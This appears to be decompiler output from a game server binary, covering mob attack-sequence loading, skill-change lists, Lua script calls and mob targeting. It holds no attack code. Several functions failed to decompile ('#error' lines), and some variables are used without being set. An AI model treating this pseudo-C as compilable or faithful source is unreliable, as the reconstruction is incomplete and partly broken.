v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00493830) -------------------------------------------------------- void __thiscall MobAttackSequence::SkillChangeList::SkillChangeList(MobAttackSequence::SkillChangeList *this) { MobAttackSequence::SkillChangeList *v1; // esi@1 signed int v2; // edx@1 signed int v3; // ebx@1 int v4; // eax@1 int v5; // edi@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 MobAttackSequence::SkillChange *v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 signed int v21; // [sp+10h] [bp-Ch]@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAttackSequence::SkillChangeList::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x64u); v1->baseclass_0.vfptr = (ListVtbl *)MobAttackSequence::SkillChangeList::_vftable_; v2 = 2; v3 = 3; v4 = (int)&v1->scl_Array[1]; v5 = -36 - (_DWORD)v1; v21 = 20; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = (int)((char *)v1->baseclass_0.l_Array + v5); v7 = *(_DWORD *)(v6 + v4); v8 = v4 + v6; if ( !v7 ) *(_DWORD *)v8 = v4 - 12; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = (int)((char *)v1->baseclass_0.l_Array + v5); v10 = *(_DWORD *)(v9 + v4 + 12); v11 = v9 + v4 + 12; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = (int)((char *)v1->baseclass_0.l_Array + -12 - (_DWORD)v1); v13 = *(_DWORD *)(v12 + v4); v14 = v4 + v12; if ( !v13 ) *(_DWORD *)v14 = v4 + 12; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 24; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = (int)((char *)v1->baseclass_0.l_Array + 12 - (_DWORD)v1); v19 = *(_DWORD *)(v18 + v4); v20 = v4 + v18; if ( !v19 ) *(_DWORD *)v20 = v4 + 36; } v3 += 5; v4 += 60; v2 += 5; --v21; } while ( v21 ); } // 63CF8C: using guessed type int (__stdcall *MobAttackSequence__SkillChangeList___vftable_[3])(__int16 hnd); //----- (00493940) -------------------------------------------------------- void __thiscall MobAttackSequence::MobAttackSequence(MobAttackSequence *this) { MobAttackSequence *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; _eh_vector_constructor_iterator_( (void *)this->mas_AttackPattern, 0x1BECu, 400, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::AttackElement4Mob, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::_AttackElement4Mob); v2 = (int)&v1->mas_AttackPattern[0].ae4m_OutOfRange; v3 = 400; do { *(_DWORD *)v2 = v2 - 3672; *(_DWORD *)(v2 + 4) = v2 - 2448; *(_DWORD *)(v2 + 8) = v2 - 1224; *(_DWORD *)(v2 + 12) = v2 + 16; *(_DWORD *)(v2 + 2464) = v2 + 1240; *(_BYTE *)(v2 + 2468) = 0; v2 += 7148; --v3; } while ( v3 ); } //----- (004939B0) -------------------------------------------------------- void __thiscall MobAttackSequence::mas_Load(MobAttackSequence *this) { unsigned int v1; // ecx@1 unsigned int v2; // eax@1 signed int v3; // ebp@4 MobDataBox::MobDataBoxIndex *v4; // esi@7 unsigned __int16 v5; // ax@9 _iobuf *v6; // eax@15 int v7; // eax@17 int v8; // eax@18 unsigned __int16 v9; // di@23 MobAttackSequence *v10; // esi@23 MobAttackSequence::AttackElement4Mob *v11; // ebp@23 void *v12; // eax@27 const char *v13; // esi@27 char v14; // al@28 signed __int16 v15; // di@29 char *v16; // esi@31 int v17; // eax@31 unsigned int v18; // eax@34 int v19; // eax@37 unsigned __int16 v20; // si@40 MobAttackSequence::AttackElement4Mob *v21; // edi@40 int v22; // esi@43 int v23; // ebp@43 int v24; // ecx@43 int v25; // edx@43 MobAttackSequence::SkillChangeList *v26; // eax@47 void *v27; // eax@49 MobAttackSequence::SkillChangeList *v28; // ecx@53 MobAttackSequence::SkillChange *v29; // esi@54 ListVtbl *v30; // edx@55 void *v31; // edi@59 char *v32; // eax@59 int v33; // eax@59 MobAttackSequence::SkillChangeList *v34; // eax@62 void *v35; // eax@66 MobAttackSequence::SkillChangeList *v36; // ecx@70 MobAttackSequence::SkillChange *v37; // esi@71 ListVtbl *v38; // edx@72 void *v39; // edi@76 char *v40; // eax@76 int v41; // eax@76 MobAttackSequence::SkillChangeList *v42; // eax@79 void *v43; // eax@83 MobAttackSequence::SkillChangeList *v44; // ecx@87 void *v45; // eax@88 ListVtbl *v46; // edx@89 unsigned __int16 v47; // di@90 void *v48; // ebp@93 char *v49; // esi@93 char v50; // al@93 char *v51; // eax@102 unsigned int v52; // eax@102 AbnormalStateDictionary::AbState::AbStateStr *v53; // esi@105 MobAttackSequence::SkillChangeList *v54; // eax@112 void *v55; // eax@115 MobAttackSequence::SkillChangeList *v56; // ecx@119 MobAttackSequence::SkillChange *v57; // esi@120 ListVtbl *v58; // edx@121 void *v59; // edi@125 char *v60; // eax@125 int v61; // eax@125 MobAttackSequence::SkillChangeList *v62; // eax@128 void *v63; // eax@132 MobAttackSequence::SkillChangeList *v64; // ecx@136 ListVtbl *v65; // edx@137 MobAttackSequence::SkillChange *v66; // esi@137 void *v67; // edi@140 char *v68; // eax@140 int v69; // eax@140 char *v70; // eax@141 ORToken v71; // [sp-24h] [bp-10A24h]@27 int v72; // [sp-20h] [bp-10A20h]@27 int v73; // [sp-1Ch] [bp-10A1Ch]@27 int v74; // [sp-18h] [bp-10A18h]@27 int v75; // [sp-14h] [bp-10A14h]@27 char *v76; // [sp-10h] [bp-10A10h]@27 int v77; // [sp-Ch] [bp-10A0Ch]@27 int v78; // [sp-8h] [bp-10A08h]@27 int v79; // [sp-4h] [bp-10A04h]@15 MobAttackSequence::SkillChange *sc; // [sp+10h] [bp-109F0h]@1 int mob; // [sp+14h] [bp-109ECh]@6 void *skillname; // [sp+18h] [bp-109E8h]@39 int rec; // [sp+1Ch] [bp-109E4h]@26 unsigned int pnt; // [sp+20h] [bp-109E0h]@1 MobAttackSequence *thisa; // [sp+24h] [bp-109DCh]@1 char v86[4]; // [sp+28h] [bp-109D8h]@43 int v87; // [sp+2Ch] [bp-109D4h]@43 int v88; // [sp+30h] [bp-109D0h]@43 int v89; // [sp+34h] [bp-109CCh]@43 int v90; // [sp+38h] [bp-109C8h]@43 char v91[4]; // [sp+3Ch] [bp-109C4h]@109 int v92; // [sp+40h] [bp-109C0h]@109 int v93; // [sp+44h] [bp-109BCh]@109 int v94; // [sp+48h] [bp-109B8h]@109 int v95; // [sp+4Ch] [bp-109B4h]@109 char v96[4]; // [sp+50h] [bp-109B0h]@77 int v97; // [sp+54h] [bp-109ACh]@77 int v98; // [sp+58h] [bp-109A8h]@77 int v99; // [sp+5Ch] [bp-109A4h]@77 int v100; // [sp+60h] [bp-109A0h]@77 char v101[4]; // [sp+64h] [bp-1099Ch]@126 int v102; // [sp+68h] [bp-10998h]@126 int v103; // [sp+6Ch] [bp-10994h]@126 int v104; // [sp+70h] [bp-10990h]@126 int v105; // [sp+74h] [bp-1098Ch]@126 char v106[4]; // [sp+78h] [bp-10988h]@96 int v107; // [sp+7Ch] [bp-10984h]@96 int v108; // [sp+80h] [bp-10980h]@96 int v109; // [sp+84h] [bp-1097Ch]@96 int v110; // [sp+88h] [bp-10978h]@96 char v111[4]; // [sp+8Ch] [bp-10974h]@60 int v112; // [sp+90h] [bp-10970h]@60 int v113; // [sp+94h] [bp-1096Ch]@60 int v114; // [sp+98h] [bp-10968h]@60 int v115; // [sp+9Ch] [bp-10964h]@60 int type; // [sp+A0h] [bp-10960h]@27 int v117; // [sp+ACh] [bp-10954h]@43 int v118; // [sp+B0h] [bp-10950h]@43 int v119; // [sp+B4h] [bp-1094Ch]@43 OptionReader or; // [sp+B8h] [bp-10948h]@16 char buf[33]; // [sp+1090Ch] [bp-F4h]@59 char buffer[128]; // [sp+10930h] [bp-D0h]@15 char v123; // [sp+109B0h] [bp-50h]@141 unsigned int v124; // [sp+109F0h] [bp-10h]@1 int v125; // [sp+109FCh] [bp-4h]@16 thisa = this; v1 = 0; v124 = (unsigned int)&sc ^ __security_cookie; v2 = mobdatabox.mdb_mobspacies; for ( pnt = 0; ; v1 = pnt ) { if ( v1 < v2 ) v3 = BinaryDataBox::operator__(&mobdatabox.mdb_BinData.mobinf, v1)->ID; else v3 = 65535; mob = v3; sc = (MobAttackSequence::SkillChange *)(unsigned __int16)v3; if ( (unsigned __int16)v3 <= mobdatabox.mdb_maxmobhandle ) { v4 = &mobdatabox.mdb_index[(unsigned __int16)v3]; if ( v4 ) { if ( v4->data ) { v5 = v4->data->ID; if ( v5 == (_WORD)v3 ) goto LABEL_12; AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", (int)sc, v5); } } } v4 = 0; LABEL_12: if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Null inf", (int)sc); ShineExit("MobAttackSequence::mas_Load"); } v79 = (int)v4->data->InxName; sprintf(buffer, "../9Data/Hero/MobAttackSequence/%s.txt"); v6 = fopen(buffer, "r"); if ( v6 ) { fclose(v6); OptionReader::OptionReader(&or); v125 = 0; if ( OptionReader::or_Read(&or, buffer) ) { v9 = mob; v10 = thisa; MobAttackSequence::mas_Append(thisa, mob); v11 = MobAttackSequence::mas_Find(v10, v9); if ( v11 == 0 ) { v79 = v10->mas_MobNumber; AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Insert error", v79); ShineExit("MagicContainer::mas_Load"); } for ( rec = 0; ; rec = v19 ) { v79 = (int)&type; v78 = 0; v77 = rec; v76 = "Order"; sc = (MobAttackSequence::SkillChange *)&v71; v75 = 0; v74 = 0; v73 = 0; v72 = 0; *(_DWORD *)&v71.ort_Name[0] = 0; strncpy(v71.ort_Name, "AttSeq", 0x14u); v12 = OptionReader::or_Select(&or, "Attack", v71, v76, v77, v78, (int *)v79); v13 = (const char *)v12; if ( !v12 ) break; v14 = *(_BYTE *)v12; if ( *v13 == 45 ) { v15 = -1; } else { if ( v14 == 42 ) { v16 = (char *)(v13 + 1); v15 = -1; strncmp(v16, "RepeatStart", 0x20u); if ( v17 ) AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid Command", v16); else v11->ae4m_StartIndex = rec + 1; } else { v18 = BTree::operator__(&skillnametree, v13); v15 = v18; if ( v18 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Null skill", v13); ShineExit("MagicContainer::mas_Load"); } } } v11->ae4m_skillID[v11->ae4m_SequenceLength] = v15; v19 = rec + 1; ++v11->ae4m_SequenceLength; } rec = 0; while ( 1 ) { v79 = rec; sc = (MobAttackSequence::SkillChange *)&v74; v78 = 0; v77 = 0; v76 = 0; v75 = 0; v74 = 0; strncpy((char *)&v74, "SkillChange", 0x14u); skillname = OptionReader::or_SelectFromOrder(&or, *(ORToken *)&v74, v79); if ( !skillname ) break; v20 = mob; v21 = MobAttackSequence::mas_Find(thisa, mob); if ( v21 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : SkillExchange Error", v20); ShineExit("MagicContainer::mas_Load"); } v22 = *(_DWORD *)skillname; v23 = *((_DWORD *)skillname + 1); v24 = *((_DWORD *)skillname + 3); v25 = *((_DWORD *)skillname + 4); v117 = *((_DWORD *)skillname + 2); v118 = v24; v119 = v25; v90 = 0; v89 = 0; v88 = 0; v87 = 0; *(_DWORD *)v86 = 0; strncpy(v86, "OutOfRange", 0x14u); if ( v22 != *(_DWORD *)v86 || v23 != v87 || v117 != v88 || v118 != v89 || (HIWORD(v26) = HIWORD(v119), v119 != v90) ) { v115 = 0; v114 = 0; v113 = 0; v112 = 0; *(_DWORD *)v111 = 0; strncpy(v111, "HPLow", 0x14u); if ( v22 != *(_DWORD *)v111 || v23 != v112 || (HIWORD(v34) = HIWORD(v117), v117 != v113) || v118 != v114 || v119 != v115 ) { v100 = 0; v99 = 0; v98 = 0; v97 = 0; *(_DWORD *)v96 = 0; strncpy(v96, "TargetState", 0x14u); if ( v22 != *(_DWORD *)v96 || v23 != v97 || (HIWORD(v42) = HIWORD(v117), v117 != v98) || v118 != v99 || v119 != v100 ) { v95 = 0; v94 = 0; v93 = 0; v92 = 0; *(_DWORD *)v91 = 0; strncpy(v91, "NextSkill", 0x14u); if ( v22 != *(_DWORD *)v91 || v23 != v92 || v117 != v93 || (HIWORD(v54) = HIWORD(v118), v118 != v94) || v119 != v95 ) { v105 = 0; v104 = 0; v103 = 0; v102 = 0; *(_DWORD *)v101 = 0; strncpy(v101, "HPLow_ChangeOrder", 0x14u); if ( v22 != *(_DWORD *)v101 || v23 != v102 || (HIWORD(v62) = HIWORD(v117), v117 != v103) || v118 != v104 || v119 != v105 ) { v70 = ORToken::ort_GetString((ORToken *)skillname, &v123); AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid condition", v70); ShineExit("MobAttackSequence::mas_Load"); } if ( !v21->ae4m_HPLow_ChangeOrder ) { v63 = operator new(0x4C8u); sc = (MobAttackSequence::SkillChange *)v63; LOBYTE(v125) = 5; if ( v63 ) MobAttackSequence::SkillChangeList::SkillChangeList(v62); else v62 = 0; LOBYTE(v125) = 0; v21->ae4m_HPLow_ChangeOrder = v62; } v64 = v21->ae4m_HPLow_ChangeOrder; LOWORD(v62) = v64->baseclass_0.l_Finger.empty; if ( (_WORD)v62 == -1 || (v65 = v64->baseclass_0.vfptr, v79 = (int)v62, (v66 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v65->l_AllocZ)(v62)) == 0) ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v67 = skillname; v68 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v79 = atoi(v68); v78 = (int)((char *)v67 + 73); v69 = atoi((const char *)v67 + 40); MobAttackSequence::SkillChange::sc_Store(v66, v69, (char *)v78, v79); ++rec; } else { if ( !v21->ae4m_SaveNextSkill ) { v55 = operator new(0x4C8u); sc = (MobAttackSequence::SkillChange *)v55; LOBYTE(v125) = 4; if ( v55 ) MobAttackSequence::SkillChangeList::SkillChangeList(v54); else v54 = 0; LOBYTE(v125) = 0; v21->ae4m_SaveNextSkill = v54; } v56 = v21->ae4m_SaveNextSkill; LOWORD(v54) = v56->baseclass_0.l_Finger.empty; if ( (_WORD)v54 == -1 ) { v57 = 0; } else { v58 = v56->baseclass_0.vfptr; v79 = (int)v54; v57 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v58->l_AllocZ)(v54); } if ( v57 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v59 = skillname; v60 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v61 = atoi(v60); MobAttackSequence::SkillChange::sc_Store(v57, (char *)v59 + 40, (char *)v59 + 73, v61); ++rec; } } else { if ( !v21->ae4m_TargetState ) { v43 = operator new(0x4C8u); sc = (MobAttackSequence::SkillChange *)v43; LOBYTE(v125) = 3; if ( v43 ) MobAttackSequence::SkillChangeList::SkillChangeList(v42); else v42 = 0; LOBYTE(v125) = 0; v21->ae4m_TargetState = v42; } v44 = v21->ae4m_TargetState; LOWORD(v42) = v44->baseclass_0.l_Finger.empty; if ( (_WORD)v42 == -1 ) { v45 = 0; } else { v46 = v44->baseclass_0.vfptr; v79 = (int)v42; v45 = (void *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v46->l_AllocZ)(v42); } v47 = mob; sc = (MobAttackSequence::SkillChange *)v45; if ( v45 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v48 = skillname; v49 = (char *)skillname + 20; v50 = ORToken::ort_IsNull((ORToken *)skillname + 1); skillname = (void *)(v50 == 0); if ( v50 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v110 = 0; v109 = 0; v108 = 0; v107 = 0; *(_DWORD *)v106 = 0; strncpy(v106, "-", 0x14u); if ( *(_DWORD *)v49 != *(_DWORD *)v106 || *((_DWORD *)v49 + 1) != v107 || *((_DWORD *)v49 + 2) != v108 || *((_DWORD *)v49 + 3) != v109 || *((_DWORD *)v49 + 4) != v110 ) { v51 = ORToken::ort_GetString((ORToken *)v49, buf); v52 = BTree::operator__(&unk_6BD318, v51); if ( v52 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v53 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v52); if ( v53 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v79 = v53->index->AbStataIndex; MobAttackSequence::SkillChange::sc_Store(sc, (char *)v48 + 40, (char *)v48 + 73, v79); ++rec; } else { MobAttackSequence::SkillChange::sc_Store(sc, (char *)v48 + 40, (char *)v48 + 73, 0xFFFFu); ++rec; } } } else { if ( !v21->ae4m_HPLow ) { v35 = operator new(0x4C8u); sc = (MobAttackSequence::SkillChange *)v35; LOBYTE(v125) = 2; if ( v35 ) MobAttackSequence::SkillChangeList::SkillChangeList(v34); else v34 = 0; LOBYTE(v125) = 0; v21->ae4m_HPLow = v34; } v36 = v21->ae4m_HPLow; LOWORD(v34) = v36->baseclass_0.l_Finger.empty; if ( (_WORD)v34 == -1 ) { v37 = 0; } else { v38 = v36->baseclass_0.vfptr; v79 = (int)v34; v37 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v38->l_AllocZ)(v34); } if ( v37 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v39 = skillname; v40 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v41 = atoi(v40); MobAttackSequence::SkillChange::sc_Store(v37, (char *)v39 + 40, (char *)v39 + 73, v41); ++rec; } } else { if ( !v21->ae4m_OutOfRange ) { v27 = operator new(0x4C8u); sc = (MobAttackSequence::SkillChange *)v27; LOBYTE(v125) = 1; if ( v27 ) MobAttackSequence::SkillChangeList::SkillChangeList(v26); else v26 = 0; LOBYTE(v125) = 0; v21->ae4m_OutOfRange = v26; } v28 = v21->ae4m_OutOfRange; LOWORD(v26) = v28->baseclass_0.l_Finger.empty; if ( (_WORD)v26 == -1 ) { v29 = 0; } else { v30 = v28->baseclass_0.vfptr; v79 = (int)v26; v29 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v30->l_AllocZ)(v26); } if ( v29 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v31 = skillname; v32 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v33 = atoi(v32); MobAttackSequence::SkillChange::sc_Store(v29, (char *)v31 + 40, (char *)v31 + 73, v33); ++rec; } } } else { v7 = OptionReader::or_ErrorLine(&or); sc = (MobAttackSequence::SkillChange *)(v7 == 0); if ( v7 != 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Option read error", buffer); v8 = OptionReader::or_ErrorLine(&or); AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load", v8); ShineExit("MagicContainer::mas_Load"); } } v125 = -1; OptionReader::_OptionReader(&or); } v2 = mobdatabox.mdb_mobspacies; ++pnt; if ( pnt >= mobdatabox.mdb_mobspacies ) break; } __security_check_cookie((unsigned int)&sc ^ v124); } //----- (00494520) -------------------------------------------------------- #error "494520: undefined or illegal type '#593' (funcsize=281)" //----- (004948C0) -------------------------------------------------------- int __thiscall LuaScriptScenario::lss_FuncExec(LuaScriptScenario *this, const char *func, LuaScriptArgument::LuaArgumentDefault *luaarg) { bool v3; // al@1 int v4; // ebx@1 const char *v5; // eax@2 const char v6; // cl@3 char *v7; // edi@4 char v8; // al@5 unsigned int v9; // eax@6 void *v10; // edi@6 char v11; // cl@7 char v13; // [sp+7h] [bp-205h]@4 char buffer[512]; // [sp+8h] [bp-204h]@1 unsigned int v15; // [sp+208h] [bp-4h]@1 v15 = (unsigned int)buffer ^ __security_cookie; v3 = LuaScript::ls_FunctionCall(&this->baseclass_0, func, luaarg); v4 = v3; if ( !v3 ) { v5 = func; do { v6 = *v5; v5[buffer - func] = *v5; ++v5; } while ( v6 ); v7 = &v13; do v8 = (v7++)[1]; while ( v8 ); *(_WORD *)v7 = *(_WORD *)":"; v9 = strlen((const char *)&LuaScriptScenario::ls_Pointer) + 1; v10 = &v13; do { v11 = *((_BYTE *)v10 + 1); v10 = (char *)v10 + 1; } while ( v11 ); memcpy(v10, &LuaScriptScenario::ls_Pointer, v9); AssertClass::ac_AssertFail(&shineassert, "LuaScriptScenario::lss_FuncExec : function call error", buffer); LuaScriptObserver::lso_Send(&g_LuaScriptObserver, "function call error", buffer); } return v4; } //----- (004949A0) -------------------------------------------------------- void __thiscall FieldMap::fm_FindWayInit(int this) { CFindWay::SetLoadedData( &findway, *(_DWORD *)(*(_DWORD *)(this + 20) + 28), *(_DWORD *)(*(_DWORD *)(this + 20) + 32), *(char **)(*(_DWORD *)(this + 20) + 20)); } //----- (004949C0) -------------------------------------------------------- void __thiscall MobActionElement::MobActionElement(MobActionElement *this) { this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; } // 64B0BC: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (004949D0) -------------------------------------------------------- void __thiscall MobActionElement::_MobActionElement(MobActionElement *this) { this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; } // 64B0BC: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (004949E0) -------------------------------------------------------- void __thiscall MobTargetStruct::MobTargetStruct(MobTargetStruct *this) { SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&this->mts_EnemyAnalyzer); } //----- (004949F0) -------------------------------------------------------- void __thiscall MobTargetEraser::_MobTargetEraser(MobTargetEraser *this) { SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->mte_EmptyTarget.mts_EnemyAnalyzer); } //----- (00494A00) -------------------------------------------------------- #error "494A00: undefined or illegal type '#593' (funcsize=13)" //----- (00494A30) -------------------------------------------------------- void __thiscall MobTargetSelector::MobTargetSelector(MobTargetSelector *this) { MobTargetSelector *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetSelector::_vftable_; } // 64B0D0: using guessed type int (__stdcall *MobTargetSelector___vftable_)(int type, int slot, int distancesquar); //----- (00494A50) -------------------------------------------------------- void __thiscall MobTargetSelector::_MobTargetSelector(MobTargetSelector *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetSelector::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64B0D0: using guessed type int (__stdcall *MobTargetSelector___vftable_)(int type, int slot, int distancesquar); //----- (00494A60) -------------------------------------------------------- char __thiscall MobTargetAggresive::IsIgnoreLevelGap(MobTargetAggresive *this, char Left, char Right) { return (unsigned __int8)Left - (unsigned __int8)Right > 10; } //----- (00494A80) -------------------------------------------------------- #error "494A80: undefined or illegal type '#593' (funcsize=25)" //----- (00494AD0) -------------------------------------------------------- #error "494AD0: undefined or illegal type '#593' (funcsize=51)" //----- (00494B60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_IsPreventAttack(int this) { return *(_BYTE *)(this + 143306); } //----- (00494B70) -------------------------------------------------------- #error "494B70: undefined or illegal type '#593' (funcsize=19)" //----- (00494BB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_CurSelectWeapon(int this) { return *(_DWORD *)(this + 7680); } //----- (00494BC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SetMobResist(void *this, int memval, __int16 nVal) { int result; // eax@1 LOWORD(result) = nVal; *(_WORD *)((char *)this + memval + 9101) = nVal; return result; } //----- (00494BE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SelectWeapon(#593 *this, #593 *a2, char next) { return -1; } //----- (00494BF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_PrepareWeapon(int this, int MaxWC, int MinWC, unsigned __int16 TH, int MaxMA, int MinMA, unsigned __int16 MH) { int result; // eax@1 *(_DWORD *)(this + 4076) = MaxWC; *(_DWORD *)(this + 4072) = MinWC; *(_DWORD *)(this + 4096) = MaxMA; *(_DWORD *)(this + 4084) = TH; result = MinMA; *(_DWORD *)(this + 4092) = MinMA; *(_DWORD *)(this + 4104) = MH; return result; } //----- (00494C40) -------------------------------------------------------- void *__thiscall MobActionElement::_vector_deleting_destructor_(MobActionElement *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 64B0BC: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (00494C60) -------------------------------------------------------- void *__thiscall MobTargetSelector::_scalar_deleting_destructor_(MobTargetSelector *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetSelector::_MobTargetSelector(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00494C80) -------------------------------------------------------- #error "494C80: undefined or illegal type '#593' (funcsize=150)" //----- (00494E70) -------------------------------------------------------- #error "494E70: undefined or illegal type '#593' (funcsize=23)" //----- (00494EB0) -------------------------------------------------------- #error "494EB0: undefined or illegal type '#593' (funcsize=144)" //----- (00495090) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_AIScriptFuncExec(void *this, const char *func, char *arg) { void *v3; // esi@1 int v4; // eax@1 LuaScriptScenario *v5; // ecx@2 int v6; // esi@2 int result; // eax@2 LuaScriptArgument::LuaArgumentFuncExec a; // [sp+8h] [bp-1Ch]@2 int v9; // [sp+20h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AIScriptFuncExec"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 106); v9 = 0; if ( v4 ) { LuaScriptArgument::LuaArgumentFuncExec::LuaArgumentFuncExec(&a, arg); v5 = *(LuaScriptScenario **)((char *)v3 + 106); LOBYTE(v9) = 1; v6 = LuaScriptScenario::lss_FuncExec(v5, func, &a.baseclass_0); LOBYTE(v9) = 0; LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)&a); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec"); result = 0; } return result; } //----- (00495190) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_AIScriptFuncExec(void *this, const char *func, LuaScriptArgument::LuaArgumentDefault *a) { void *v3; // esi@1 LuaScriptScenario *v4; // ecx@1 int v5; // eax@2 int v6; // esi@2 int result; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec2"); 